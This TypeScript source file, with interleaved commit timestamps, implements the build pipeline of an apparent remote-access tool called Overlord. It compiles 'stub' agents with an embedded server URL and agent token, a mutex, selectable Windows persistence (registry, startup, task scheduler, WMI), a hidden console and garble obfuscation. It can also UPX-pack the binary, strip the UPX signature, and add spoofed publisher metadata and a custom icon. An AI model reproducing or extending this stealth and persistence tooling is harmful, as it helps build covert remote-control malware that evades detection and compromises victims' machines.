2026-03-05 00:04:26 -06:00
import { $ } from "bun" ;
import path from "path" ;
import fs from "fs" ;
2026-03-12 21:26:53 -05:00
import { v4 as uuidv4 } from "uuid" ;
2026-03-05 00:04:26 -06:00
import { saveBuild } from "../db" ;
import { logger } from "../logger" ;
import { getConfig } from "../config" ;
2026-03-08 03:07:23 -05:00
import { ensureDataDir } from "../paths" ;
2026-03-05 00:04:26 -06:00
import * as buildManager from "../build/buildManager" ;
import type { BuildStream } from "../build/types" ;
import { ALLOWED_PLATFORMS } from "./validation-constants" ;
import { resolveRuntimeRoot } from "./runtime-paths" ;
2026-03-06 13:31:34 -06:00
function isClientModuleDir ( dir : string ) : boolean {
return (
fs . existsSync ( path . join ( dir , "go.mod" )) &&
fs . existsSync ( path . join ( dir , "cmd" , "agent" ))
);
}
function resolveClientModuleDir ( rootDir : string ) : string | null {
const candidates = [
path . join ( rootDir , "Overlord-Client" ),
path . join ( rootDir , ".." , "Overlord-Client" ),
2026-03-12 00:29:25 -05:00
path . join ( rootDir , "dist" , "Overlord-Client" ),
path . join ( rootDir , "dist" , "Overlord-Client" , "Overlord-Client" ),
2026-03-06 13:31:34 -06:00
];
for ( const dir of candidates ) {
if ( isClientModuleDir ( dir )) {
return dir ;
}
}
return null ;
}
2026-03-08 03:07:23 -05:00
function resolveClientBuildCacheRoot () : string {
const explicit = process . env . OVERLORD_CLIENT_BUILD_CACHE_DIR ? . trim ();
if ( explicit ) {
return path . resolve ( explicit );
}
// Keep UI build caches under persistent app data by default.
return path . resolve ( ensureDataDir (), "client-build-cache" );
}
2026-03-10 17:09:27 -05:00
function resolveAndroidNdkToolchainBin () : string | null {
const ndkHome = ( process . env . ANDROID_NDK_HOME || "/opt/android-ndk" ). trim ();
const hostArch = process . arch === "arm64" ? "linux-aarch64" : "linux-x86_64" ;
const toolchainBin = path . join ( ndkHome , "toolchains" , "llvm" , "prebuilt" , hostArch , "bin" );
return fs . existsSync ( toolchainBin ) ? toolchainBin : null ;
}
2026-03-05 00:04:26 -06:00
type BuildProcessConfig = {
platforms : string [];
serverUrl? : string ;
rawServerList? : boolean ;
mutex? : string ;
disableMutex? : boolean ;
stripDebug? : boolean ;
disableCgo? : boolean ;
obfuscate? : boolean ;
enablePersistence? : boolean ;
2026-03-12 13:52:02 -05:00
persistenceMethod? : string ;
2026-03-05 00:04:26 -06:00
hideConsole? : boolean ;
noPrinting? : boolean ;
2026-03-12 21:26:53 -05:00
builtByUserId? : number ;
2026-03-16 14:09:06 +01:00
outputName? : string ;
garbleLiterals? : boolean ;
garbleTiny? : boolean ;
garbleSeed? : string ;
assemblyTitle? : string ;
assemblyProduct? : string ;
assemblyCompany? : string ;
assemblyVersion? : string ;
assemblyCopyright? : string ;
iconBase64? : string ;
2026-03-16 14:42:18 +01:00
enableUpx? : boolean ;
upxStripHeaders? : boolean ;
2026-03-05 00:04:26 -06:00
};
2026-03-16 14:42:18 +01:00
async function ensureUpxAvailable ( sendToStream : ( data : any ) => void ) : Promise < string | null > {
try {
const check = await $ `upx --version` . quiet (). nothrow ();
if ( check . exitCode === 0 ) {
const ver = check . stdout . toString (). split ( "\n" )[ 0 ] ? . trim () || "upx" ;
sendToStream ({ type : "output" , text : `UPX found: ${ ver } \ n` , level : "info" });
return "upx" ;
}
} catch {}
sendToStream ({ type : "output" , text : "UPX not found, attempting auto-install...\n" , level : "info" });
const isWindows = process . platform === "win32" ;
if ( ! isWindows ) {
try {
const apt = await $ `apt-get install -y upx-ucl 2>&1` . nothrow (). quiet ();
if ( apt . exitCode === 0 ) {
sendToStream ({ type : "output" , text : "UPX installed via apt-get\n" , level : "info" });
return "upx" ;
}
} catch {}
try {
const apt2 = await $ `apt-get install -y upx 2>&1` . nothrow (). quiet ();
if ( apt2 . exitCode === 0 ) {
sendToStream ({ type : "output" , text : "UPX installed via apt-get\n" , level : "info" });
return "upx" ;
}
} catch {}
try {
const yum = await $ `yum install -y upx 2>&1` . nothrow (). quiet ();
if ( yum . exitCode === 0 ) {
sendToStream ({ type : "output" , text : "UPX installed via yum\n" , level : "info" });
return "upx" ;
}
} catch {}
}
if ( isWindows ) {
try {
const winget = await $ `winget install --id upx.upx -e --accept-source-agreements --accept-package-agreements 2>&1` . nothrow (). quiet ();
if ( winget . exitCode === 0 ) {
sendToStream ({ type : "output" , text : "UPX installed via winget\n" , level : "info" });
return "upx" ;
}
} catch {}
try {
const choco = await $ `choco install upx -y 2>&1` . nothrow (). quiet ();
if ( choco . exitCode === 0 ) {
sendToStream ({ type : "output" , text : "UPX installed via chocolatey\n" , level : "info" });
return "upx" ;
}
} catch {}
}
const arch = process . arch === "x64" ? "amd64" : process . arch === "arm64" ? "arm64" : "amd64" ;
const plat = isWindows ? "win64" : "amd64_linux" ;
const upxVersion = "4.2.4" ;
const archiveName = `upx- ${ upxVersion } - ${ plat } ` ;
const ext = isWindows ? "zip" : "tar.xz" ;
const url = `https://github.com/upx/upx/releases/download/v ${ upxVersion } / ${ archiveName } . ${ ext } ` ;
const tmpDir = path . join ( ensureDataDir (), "upx-install" );
fs . mkdirSync ( tmpDir , { recursive : true });
const archivePath = path . join ( tmpDir , `upx. ${ ext } ` );
try {
sendToStream ({ type : "output" , text : `Downloading UPX from ${ url } ... \ n` , level : "info" });
const dlResult = await $ `curl -fsSL -o ${ archivePath } ${ url } ` . nothrow (). quiet ();
if ( dlResult . exitCode !== 0 ) {
sendToStream ({ type : "output" , text : "WARNING: Failed to download UPX. Skipping compression.\n" , level : "warn" });
return null ;
}
if ( isWindows ) {
await $ `tar -xf ${ archivePath } -C ${ tmpDir } ` . nothrow (). quiet ();
} else {
await $ `tar -xJf ${ archivePath } -C ${ tmpDir } ` . nothrow (). quiet ();
}
const upxBinName = isWindows ? "upx.exe" : "upx" ;
const extractedDir = path . join ( tmpDir , archiveName );
const upxBin = path . join ( extractedDir , upxBinName );
if ( fs . existsSync ( upxBin )) {
if ( ! isWindows ) {
await $ `chmod +x ${ upxBin } ` . nothrow (). quiet ();
}
sendToStream ({ type : "output" , text : `UPX downloaded to ${ upxBin } \ n` , level : "info" });
return upxBin ;
}
sendToStream ({ type : "output" , text : "WARNING: UPX binary not found after extraction. Skipping compression.\n" , level : "warn" });
return null ;
} catch ( err : any ) {
sendToStream ({ type : "output" , text : `WARNING: UPX auto-install failed: ${ err . message || err } . Skipping compression. \ n` , level : "warn" });
return null ;
}
}
function stripUpxHeaders ( filePath : string ) : boolean {
try {
const buf = Buffer . from ( fs . readFileSync ( filePath ));
const UPX_MAGIC = Buffer . from ( "UPX!" );
let modified = false ;
let offset = 0 ;
while ( offset < buf . length - 3 ) {
const idx = buf . indexOf ( UPX_MAGIC , offset );
if ( idx === - 1 ) break ;
buf [ idx ] = 0x00 ;
buf [ idx + 1 ] = 0x00 ;
buf [ idx + 2 ] = 0x00 ;
buf [ idx + 3 ] = 0x00 ;
modified = true ;
offset = idx + 4 ;
}
if ( modified ) {
fs . writeFileSync ( filePath , buf );
}
return modified ;
} catch {
return false ;
}
}
2026-03-12 13:52:02 -05:00
const VALID_PERSISTENCE_METHODS = new Set ([ 'startup' , 'registry' , 'taskscheduler' , 'wmi' ]);
2026-03-05 00:04:26 -06:00
type BuildProcessDeps = {
generateBuildMutex : ( length? : number ) => string ;
sanitizeOutputName : ( name : string ) => string ;
};
2026-03-12 12:05:42 -05:00
function detectAgentVersion ( clientDir : string ) : string {
try {
const configPath = path . join ( clientDir , "cmd" , "agent" , "config" , "config.go" );
const content = fs . readFileSync ( configPath , "utf8" );
const match = content . match ( /var\s+AgentVersion\s*=\s*"([^"]+)"/ );
return match ? .[ 1 ] ? . trim () || "unknown" ;
} catch {
return "unknown" ;
}
}
2026-03-05 00:04:26 -06:00
export async function startBuildProcess (
buildId : string ,
config : BuildProcessConfig ,
deps : BuildProcessDeps ,
) : Promise < void > {
const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000 ;
2026-03-06 13:07:56 -06:00
const BUILD_STREAM_HEARTBEAT_MS = 15 _000 ;
2026-03-05 00:04:26 -06:00
const now = Date . now ();
const build : BuildStream = {
id : buildId ,
controllers : [],
status : "running" ,
startTime : now ,
expiresAt : now + SEVEN_DAYS_MS ,
files : [],
2026-03-16 13:42:13 +01:00
userId : config.builtByUserId ,
2026-03-05 00:04:26 -06:00
};
buildManager . addBuildStream ( buildId , build );
const sendToStream = ( data : any ) => {
const encoder = new TextEncoder ();
const message = `data: ${ JSON . stringify ( data ) } \ n \ n` ;
const encoded = encoder . encode ( message );
if ( data . type === "output" ) {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ${ data . text . trimEnd () } ` );
} else if ( data . type === "status" ) {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] STATUS: ${ data . text } ` );
} else if ( data . type === "error" ) {
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ERROR: ${ data . error } ` );
}
build . controllers . forEach (( controller ) => {
try {
controller . enqueue ( encoded );
} catch ( err ) {
logger . error ( "[build] Failed to send to stream:" , err );
}
});
};
2026-03-16 14:09:06 +01:00
let winresTempDir : string | null = null ;
const generatedSysoFiles : string [] = [];
2026-03-06 13:07:56 -06:00
const buildStartedAt = Date . now ();
const keepAliveTimer = setInterval (() => {
const elapsedMinutes = Math . floor (( Date . now () - buildStartedAt ) / 60 _000 );
sendToStream ({
type : "heartbeat" ,
elapsedMinutes ,
timestamp : Date.now (),
});
}, BUILD_STREAM_HEARTBEAT_MS );
2026-03-05 00:04:26 -06:00
try {
const serverConfig = getConfig ();
const buildAgentToken = ( serverConfig . auth . agentToken || "" ). trim ();
sendToStream ({ type : "status" , text : "Preparing build environment..." });
try {
const goCheck = await $ `go version` . quiet ();
const goVersion = goCheck . stdout . toString (). trim ();
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Using ${ goVersion } ` );
sendToStream ({ type : "output" , text : `Using ${ goVersion } \ n` , level : "info" });
} catch {
const errorMsg = "Go is not installed or not in PATH. Please install Go from https://golang.org/dl/ and ensure it's in your system PATH." ;
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ${ errorMsg } ` );
sendToStream ({ type : "output" , text : `ERROR: ${ errorMsg } \ n` , level : "error" });
sendToStream ({ type : "error" , error : errorMsg });
sendToStream ({ type : "complete" , success : false });
build . status = "failed" ;
return ;
}
const rootDir = resolveRuntimeRoot ();
2026-03-06 13:31:34 -06:00
const clientDir = resolveClientModuleDir ( rootDir );
if ( ! clientDir ) {
throw new Error (
`Overlord-Client source not found (missing go.mod). Checked: ${ path . join ( rootDir , "dist" , "Overlord-Client" ) } , ${ path . join ( rootDir , "Overlord-Client" ) } ` ,
);
}
2026-03-12 12:05:42 -05:00
const agentVersion = detectAgentVersion ( clientDir );
2026-03-05 00:04:26 -06:00
const outDir = path . join ( rootDir , "dist-clients" );
2026-03-08 03:07:23 -05:00
const cacheRoot = resolveClientBuildCacheRoot ();
const goBuildCacheDir = path . join ( cacheRoot , "go-build" );
const goModCacheDir = path . join ( cacheRoot , "go-mod" );
2026-03-05 00:04:26 -06:00
await Bun . $ `mkdir -p ${ outDir } ` . quiet ();
2026-03-08 03:07:23 -05:00
fs . mkdirSync ( goBuildCacheDir , { recursive : true });
fs . mkdirSync ( goModCacheDir , { recursive : true });
2026-03-05 00:04:26 -06:00
sendToStream ({ type : "output" , text : `Build directory: ${ outDir } \ n` , level : "info" });
2026-03-06 13:31:34 -06:00
sendToStream ({ type : "output" , text : `Client source: ${ clientDir } \ n` , level : "info" });
2026-03-12 12:05:42 -05:00
sendToStream ({ type : "output" , text : `Stub version: ${ agentVersion } \ n` , level : "info" });
2026-03-08 03:07:23 -05:00
sendToStream ({ type : "output" , text : `Client build cache: ${ cacheRoot } \ n` , level : "info" });
2026-03-05 00:04:26 -06:00
const platformsToBuild = ( config . platforms || []). filter (( p ) => ALLOWED_PLATFORMS . has ( p ));
if ( platformsToBuild . length !== ( config . platforms || []). length ) {
throw new Error ( "One or more requested platforms are not allowed" );
}
2026-03-10 18:27:45 -05:00
const hasAndroidTargets = platformsToBuild . some (( p ) => p . startsWith ( "android-" ));
const hasBsdTargets = platformsToBuild . some (
( p ) => p . startsWith ( "freebsd-" ) || p . startsWith ( "openbsd-" ),
);
if ( hasAndroidTargets ) {
sendToStream ({
type : "output" ,
text : "WARNING: Android targets are severely untested and will probably not work right.\n" ,
level : "warn" ,
});
}
if ( hasBsdTargets ) {
sendToStream ({
type : "output" ,
text : "WARNING: BSD targets are severely untested and will probably not work right.\n" ,
level : "warn" ,
});
}
2026-03-10 17:09:27 -05:00
const ndkBin = resolveAndroidNdkToolchainBin ();
if ( ! ndkBin && platformsToBuild . some (( p ) => p . startsWith ( "android-" ))) {
sendToStream ({
type : "output" ,
text : "Warning: Android NDK not found. Android builds require the NDK. Install it to /opt/android-ndk or set the ANDROID_NDK_HOME environment variable.\n" ,
level : "warn" ,
});
}
2026-03-05 00:04:26 -06:00
let buildMutex = "" ;
if ( ! config . disableMutex ) {
buildMutex = config . mutex || deps . generateBuildMutex ();
sendToStream ({ type : "output" , text : `Mutex: ${ buildMutex } \ n` , level : "info" });
} else {
sendToStream ({ type : "output" , text : "Mutex: disabled\n" , level : "info" });
}
2026-03-12 21:26:53 -05:00
const buildTag = uuidv4 ();
sendToStream ({ type : "output" , text : `Build tag: ${ buildTag } \ n` , level : "info" });
2026-03-16 14:09:06 +01:00
if ( config . outputName ) {
sendToStream ({ type : "output" , text : `Custom output name: ${ config . outputName } \ n` , level : "info" });
}
2026-03-16 14:42:18 +01:00
let upxBin : string | null = null ;
if ( config . enableUpx ) {
upxBin = await ensureUpxAvailable ( sendToStream );
if ( ! upxBin ) {
sendToStream ({ type : "output" , text : "WARNING: UPX could not be installed. Compression will be skipped.\n" , level : "warn" });
}
}
2026-03-16 14:09:06 +01:00
const hasAssemblyData = !! ( config . assemblyTitle || config . assemblyProduct || config . assemblyCompany || config . assemblyVersion || config . assemblyCopyright || config . iconBase64 );
const hasWindowsTargets = platformsToBuild . some (( p ) => p . startsWith ( "windows-" ));
if ( hasAssemblyData && hasWindowsTargets ) {
sendToStream ({ type : "status" , text : "Generating Windows resource data..." });
const goEnvResult = await $ `go env GOPATH` . quiet ();
const goPath = goEnvResult . stdout . toString (). trim ();
const goBinDir = process . env . GOBIN || ( goPath ? path . join ( goPath , "bin" ) : "" );
const winresExe = process . platform === "win32" ? "go-winres.exe" : "go-winres" ;
let winresBin = "go-winres" ;
let hasWinres = false ;
if ( goBinDir && fs . existsSync ( path . join ( goBinDir , winresExe ))) {
winresBin = path . join ( goBinDir , winresExe );
hasWinres = true ;
} else {
try {
await $ `go-winres version` . quiet ();
hasWinres = true ;
} catch {
try {
sendToStream ({ type : "output" , text : "Installing go-winres...\n" , level : "info" });
await $ `go install github.com/tc-hib/go-winres@latest` . env ({ ... process . env , GOMODCACHE : goModCacheDir }). quiet ();
if ( goBinDir && fs . existsSync ( path . join ( goBinDir , winresExe ))) {
winresBin = path . join ( goBinDir , winresExe );
hasWinres = true ;
}
} catch ( installErr : any ) {
sendToStream ({ type : "output" , text : `WARNING: Failed to install go-winres: ${ installErr . message || installErr } . Assembly data/icon will be skipped. \ n` , level : "warn" });
}
}
}
if ( hasWinres ) {
2026-03-16 18:30:16 -05:00
const agentDir = path . join ( clientDir , "cmd" , "agent" );
const winresLockPath = path . join ( agentDir , ".winres.lock" );
2026-03-16 14:09:06 +01:00
2026-03-16 18:30:16 -05:00
if ( fs . existsSync ( winresLockPath )) {
sendToStream ({
type : "output" ,
text : "WARNING: Another build is currently generating Windows resources for this client. Skipping winres for this build.\n" ,
level : "warn" ,
});
} else {
// Acquire a simple lock so only one build at a time touches cmd/agent/*.syso
fs . writeFileSync ( winresLockPath , String ( process . pid ));
2026-03-16 14:09:06 +01:00
try {
2026-03-16 18:30:16 -05:00
sendToStream ({ type : "output" , text : `Using go-winres: ${ winresBin } \ n` , level : "info" });
winresTempDir = path . join ( outDir , `.winres- ${ buildId . substring ( 0 , 8 ) } ` );
fs . mkdirSync ( winresTempDir , { recursive : true });
2026-03-16 14:09:06 +01:00
2026-03-16 18:30:16 -05:00
const winresConfig : any = {};
2026-03-16 14:09:06 +01:00
2026-03-16 18:30:16 -05:00
if ( config . iconBase64 ) {
try {
const iconBuffer = Buffer . from ( config . iconBase64 , "base64" );
const iconPath = path . join ( winresTempDir , "icon.ico" );
fs . writeFileSync ( iconPath , iconBuffer );
winresConfig [ "RT_GROUP_ICON" ] = { "#1" : { "0000" : "icon.ico" } };
sendToStream ({ type : "output" , text : `Icon embedded ( ${ iconBuffer . length } bytes) \ n` , level : "info" });
} catch ( iconErr : any ) {
sendToStream ({ type : "output" , text : `WARNING: Failed to process icon: ${ iconErr . message } . Skipping icon. \ n` , level : "warn" });
2026-03-16 14:09:06 +01:00
}
}
2026-03-16 18:30:16 -05:00
const versionStr = config . assemblyVersion || "0.0.0.0" ;
const versionInfo : any = {
"0409" : {
"FileDescription" : config . assemblyTitle || "" ,
"ProductName" : config . assemblyProduct || "" ,
"CompanyName" : config . assemblyCompany || "" ,
"FileVersion" : versionStr ,
"ProductVersion" : versionStr ,
"LegalCopyright" : config . assemblyCopyright || "" ,
"OriginalFilename" : config . outputName ? ( config . outputName + ".exe" ) : "" ,
},
};
winresConfig [ "RT_VERSION" ] = {
"#1" : {
"0000" : {
"fixed" : {
"file_version" : versionStr ,
"product_version" : versionStr ,
},
"info" : versionInfo ,
},
},
};
const winresJsonPath = path . join ( winresTempDir , "winres.json" );
fs . writeFileSync ( winresJsonPath , JSON . stringify ( winresConfig , null , 2 ));
sendToStream ({ type : "output" , text : `Winres config: ${ winresJsonPath } \ n` , level : "info" });
const sysoOutPrefix = path . join ( agentDir , "rsrc" );
try {
const winresResult = await $ ` ${ winresBin } make --in ${ winresJsonPath } --out ${ sysoOutPrefix } ` . cwd ( winresTempDir ). nothrow (). quiet ();
if ( winresResult . exitCode !== 0 ) {
const stderr = winresResult . stderr . toString (). trim ();
sendToStream ({ type : "output" , text : `WARNING: go-winres failed (exit ${ winresResult . exitCode } ): ${ stderr } \ nBuilding without assembly data. \ n` , level : "warn" });
} else {
for ( const f of fs . readdirSync ( agentDir )) {
if ( f . startsWith ( "rsrc" ) && f . endsWith ( ".syso" )) {
generatedSysoFiles . push ( path . join ( agentDir , f ));
}
}
sendToStream ({ type : "output" , text : `Windows resources generated ( ${ generatedSysoFiles . length } .syso files) \ n` , level : "info" });
}
} catch ( winresErr : any ) {
sendToStream ({ type : "output" , text : `WARNING: go-winres failed: ${ winresErr . message || winresErr } . Building without assembly data. \ n` , level : "warn" });
}
} finally {
try {
fs . unlinkSync ( winresLockPath );
} catch {
// ignore errors removing the lock
}
2026-03-16 14:09:06 +01:00
}
}
}
}
2026-03-05 00:04:26 -06:00
for ( const platform of platformsToBuild ) {
const [ os , arch , ... rest ] = platform . split ( "-" );
2026-03-10 15:38:50 -05:00
const goarm = arch === "armv7" ? "7" : undefined ;
2026-03-05 00:04:26 -06:00
const actualArch = goarm ? "arm" : arch ;
2026-03-16 14:09:06 +01:00
const namePrefix = config . outputName || "agent" ;
2026-03-05 00:04:26 -06:00
const outputName = deps . sanitizeOutputName (
2026-03-16 14:09:06 +01:00
platform . includes ( "windows" ) ? ` ${ namePrefix } - ${ platform } .exe` : ` ${ namePrefix } - ${ platform } ` ,
2026-03-05 00:04:26 -06:00
);
sendToStream ({ type : "status" , text : `Building ${ platform } ...` });
sendToStream ({ type : "output" , text : ` \ n=== Building ${ platform } === \ n` , level : "info" });
2026-03-06 13:31:48 -06:00
const env : NodeJS.ProcessEnv = {
2026-03-05 00:04:26 -06:00
... process . env ,
GOOS : os ,
GOARCH : actualArch ,
2026-03-06 12:43:42 -06:00
CGO_ENABLED : config.disableCgo === true ? "0" : "1" ,
2026-03-05 00:04:26 -06:00
GOWORK : "off" ,
2026-03-08 03:07:23 -05:00
GOCACHE : goBuildCacheDir ,
GOMODCACHE : goModCacheDir ,
2026-03-05 00:04:26 -06:00
...( goarm ? { GOARM : goarm } : {}),
};
2026-03-06 12:43:42 -06:00
if ( env . CGO_ENABLED === "1" ) {
const targetKey = ` ${ os } / ${ actualArch }${ goarm ? `/v ${ goarm } ` : "" } ` ;
const cCompilerByTarget : Record < string , string > = {
"linux/amd64" : "gcc" ,
"windows/amd64" : "x86_64-w64-mingw32-gcc" ,
"windows/386" : "i686-w64-mingw32-gcc" ,
2026-03-10 17:09:27 -05:00
...( ndkBin ? {
"android/amd64" : path . join ( ndkBin , "x86_64-linux-android21-clang" ),
"android/arm64" : path . join ( ndkBin , "aarch64-linux-android21-clang" ),
"android/arm/v7" : path . join ( ndkBin , "armv7a-linux-androideabi21-clang" ),
} : {}),
2026-03-06 12:43:42 -06:00
};
const cxxCompilerByTarget : Record < string , string > = {
"linux/amd64" : "g++" ,
"windows/amd64" : "x86_64-w64-mingw32-g++" ,
"windows/386" : "i686-w64-mingw32-g++" ,
2026-03-10 17:09:27 -05:00
...( ndkBin ? {
"android/amd64" : path . join ( ndkBin , "x86_64-linux-android21-clang++" ),
"android/arm64" : path . join ( ndkBin , "aarch64-linux-android21-clang++" ),
"android/arm/v7" : path . join ( ndkBin , "armv7a-linux-androideabi21-clang++" ),
} : {}),
2026-03-06 12:43:42 -06:00
};
const cc = cCompilerByTarget [ targetKey ];
const cxx = cxxCompilerByTarget [ targetKey ];
if ( cc ) {
env . CC = cc ;
sendToStream ({ type : "output" , text : `CGO compiler: ${ cc } \ n` , level : "info" });
} else {
sendToStream ({
type : "output" ,
text : `CGO compiler not mapped for ${ targetKey } ; falling back to default compiler lookup \ n` ,
level : "warn" ,
});
}
if ( cxx ) {
env . CXX = cxx ;
}
2026-03-10 17:09:27 -05:00
if ( os === "android" && ndkBin ) {
env . AR = path . join ( ndkBin , "llvm-ar" );
}
2026-03-06 12:43:42 -06:00
}
2026-03-05 00:04:26 -06:00
let ldflags = config . stripDebug !== false ? "-s -w" : "" ;
if ( config . serverUrl ) {
const serverFlag = `-X overlord-client/cmd/agent/config.DefaultServerURL= ${ config . serverUrl } ` ;
ldflags = ` ${ ldflags } ${ serverFlag } ` ;
sendToStream ({ type : "output" , text : `Server URL: ${ config . serverUrl } \ n` , level : "info" });
}
if ( config . rawServerList ) {
const rawServerFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsRaw=true" ;
ldflags = ldflags ? ` ${ ldflags } ${ rawServerFlag } ` : rawServerFlag ;
sendToStream ({ type : "output" , text : "Raw server list: enabled\n" , level : "info" });
}
if ( buildMutex ) {
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex= ${ buildMutex } ` ;
ldflags = ldflags ? ` ${ ldflags } ${ mutexFlag } ` : mutexFlag ;
}
if ( config . enablePersistence ) {
2026-03-10 17:22:39 -05:00
if ( ! platform . startsWith ( 'android-' )) {
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true" ;
ldflags = ldflags ? ` ${ ldflags } ${ persistenceFlag } ` : persistenceFlag ;
sendToStream ({ type : "output" , text : `Persistence enabled for ${ platform } \ n` , level : "info" });
2026-03-12 13:52:02 -05:00
if ( os === 'windows' && config . persistenceMethod && VALID_PERSISTENCE_METHODS . has ( config . persistenceMethod )) {
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod= ${ config . persistenceMethod } ` ;
ldflags = ` ${ ldflags } ${ methodFlag } ` ;
sendToStream ({ type : "output" , text : `Persistence method: ${ config . persistenceMethod } \ n` , level : "info" });
}
2026-03-10 17:22:39 -05:00
} else {
sendToStream ({ type : "output" , text : `Persistence is not supported on ${ platform } , skipping... \ n` , level : "warning" });
}
2026-03-05 00:04:26 -06:00
}
if ( buildAgentToken ) {
const agentTokenFlag = `-X overlord-client/cmd/agent/config.DefaultAgentToken= ${ buildAgentToken } ` ;
ldflags = ldflags ? ` ${ ldflags } ${ agentTokenFlag } ` : agentTokenFlag ;
}
2026-03-12 21:26:53 -05:00
if ( buildTag ) {
const buildTagFlag = `-X overlord-client/cmd/agent/config.DefaultBuildTag= ${ buildTag } ` ;
ldflags = ldflags ? ` ${ ldflags } ${ buildTagFlag } ` : buildTagFlag ;
}
2026-03-05 00:04:26 -06:00
if ( config . hideConsole && os === "windows" ) {
const hideConsoleFlag = "-H=windowsgui" ;
ldflags = ldflags ? ` ${ ldflags } ${ hideConsoleFlag } ` : hideConsoleFlag ;
sendToStream ({ type : "output" , text : "Windows console hidden (GUI subsystem)\n" , level : "info" });
}
if ( config . obfuscate ) {
sendToStream ({ type : "output" , text : "Obfuscation enabled (garble)\n" , level : "info" });
2026-03-16 14:09:06 +01:00
if ( config . garbleLiterals ) {
sendToStream ({ type : "output" , text : "Garble: obfuscate literals (-literals)\n" , level : "info" });
}
if ( config . garbleTiny ) {
sendToStream ({ type : "output" , text : "Garble: tiny mode (-tiny)\n" , level : "info" });
}
if ( config . garbleSeed ) {
sendToStream ({ type : "output" , text : `Garble: seed= ${ config . garbleSeed } \ n` , level : "info" });
}
2026-03-05 00:04:26 -06:00
}
if ( config . noPrinting ) {
sendToStream ({ type : "output" , text : "Client printing disabled (noprint tag)\n" , level : "info" });
}
try {
const buildTool = config . obfuscate ? "garble" : "go" ;
const tagArg = config . noPrinting ? "-tags noprint " : "" ;
2026-03-09 01:09:51 -05:00
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Building: ${ buildTool } build ${ tagArg }${ ldflags ? `-ldflags=" ${ ldflags } " ` : "" } -o ${ outDir } / ${ outputName } ./cmd/agent` );
2026-03-06 12:43:42 -06:00
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Environment: GOOS= ${ os } GOARCH= ${ actualArch } CGO_ENABLED= ${ env . CGO_ENABLED } CC= ${ env . CC || "<default>" } ` );
2026-03-07 18:15:01 -06:00
2026-03-16 14:09:06 +01:00
const garbleFlags : string [] = [];
if ( config . obfuscate ) {
if ( config . garbleLiterals ) garbleFlags . push ( "-literals" );
if ( config . garbleTiny ) garbleFlags . push ( "-tiny" );
if ( config . garbleSeed ) garbleFlags . push ( `-seed= ${ config . garbleSeed } ` );
}
const buildArgs : string [] = [];
if ( config . noPrinting ) buildArgs . push ( "-tags" , "noprint" );
if ( ldflags ) buildArgs . push ( `-ldflags= ${ ldflags } ` );
buildArgs . push ( "-o" , ` ${ outDir } / ${ outputName } ` , "./cmd/agent" );
let buildCmd ;
if ( config . obfuscate ) {
const allArgs = [... garbleFlags , "build" , ... buildArgs ];
buildCmd = $ `garble ${ allArgs } ` ;
} else {
buildCmd = $ `go build ${ buildArgs } ` ;
}
2026-03-05 00:04:26 -06:00
const proc = buildCmd . env ( env ). cwd ( clientDir ). nothrow ();
2026-03-07 18:15:01 -06:00
let result : any ;
2026-03-07 18:44:24 -06:00
for await ( const line of proc . lines ()) {
const trimmed = line . trim ();
if ( trimmed . length > 0 ) {
2026-03-07 18:15:01 -06:00
sendToStream ({ type : "output" , text : line + "\n" , level : "info" });
}
2026-03-05 00:04:26 -06:00
}
2026-03-07 18:44:24 -06:00
result = await proc ;
2026-03-05 00:04:26 -06:00
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Process exited with code: ${ result . exitCode } ` );
if ( result . exitCode !== 0 ) {
const stderrText = result . stderr . toString ();
if ( stderrText ) {
sendToStream ({ type : "output" , text : stderrText , level : "error" });
}
const errorMsg = `Build failed with exit code ${ result . exitCode } \ n` ;
sendToStream ({ type : "output" , text : errorMsg , level : "error" });
throw new Error ( `Build failed for ${ platform } ` );
}
const filePath = ` ${ outDir } / ${ outputName } ` ;
2026-03-16 14:42:18 +01:00
let finalSize = Bun . file ( filePath ). size ;
if ( upxBin ) {
sendToStream ({ type : "output" , text : `Compressing ${ outputName } with UPX... \ n` , level : "info" });
const originalSize = finalSize ;
try {
const upxResult = await $ ` ${ upxBin } --best ${ filePath } ` . nothrow (). quiet ();
if ( upxResult . exitCode !== 0 ) {
const stderr = upxResult . stderr . toString (). trim ();
sendToStream ({ type : "output" , text : `WARNING: UPX compression failed (exit ${ upxResult . exitCode } ): ${ stderr } \ n` , level : "warn" });
} else {
finalSize = Bun . file ( filePath ). size ;
const ratio = (( 1 - finalSize / originalSize ) * 100 ). toFixed ( 1 );
sendToStream ({ type : "output" , text : `UPX compressed: ${ originalSize } → ${ finalSize } bytes ( ${ ratio } % reduction) \ n` , level : "info" });
if ( config . upxStripHeaders ) {
const stripped = stripUpxHeaders ( filePath );
if ( stripped ) {
finalSize = Bun . file ( filePath ). size ;
sendToStream ({ type : "output" , text : `UPX headers stripped (signature removed) \ n` , level : "info" });
} else {
sendToStream ({ type : "output" , text : `WARNING: No UPX signatures found to strip \ n` , level : "warn" });
}
}
}
} catch ( upxErr : any ) {
sendToStream ({ type : "output" , text : `WARNING: UPX failed: ${ upxErr . message || upxErr } \ n` , level : "warn" });
}
}
2026-03-05 00:04:26 -06:00
( build . files as any []). push ({
name : outputName ,
filename : outputName ,
platform ,
2026-03-12 12:05:42 -05:00
version : agentVersion ,
2026-03-16 14:42:18 +01:00
size : finalSize ,
2026-03-05 00:04:26 -06:00
});
} catch ( err : any ) {
2026-03-07 18:15:01 -06:00
const errorMsg = `[ERROR] Failed to build ${ platform } : ${ err . message || err } \ n` ;
2026-03-05 00:04:26 -06:00
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ${ errorMsg . trim () } ` );
sendToStream ({ type : "output" , text : errorMsg , level : "error" });
throw err ;
}
}
build . status = "completed" ;
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Build completed successfully! Built ${ build . files . length } file(s)` );
2026-03-07 18:15:01 -06:00
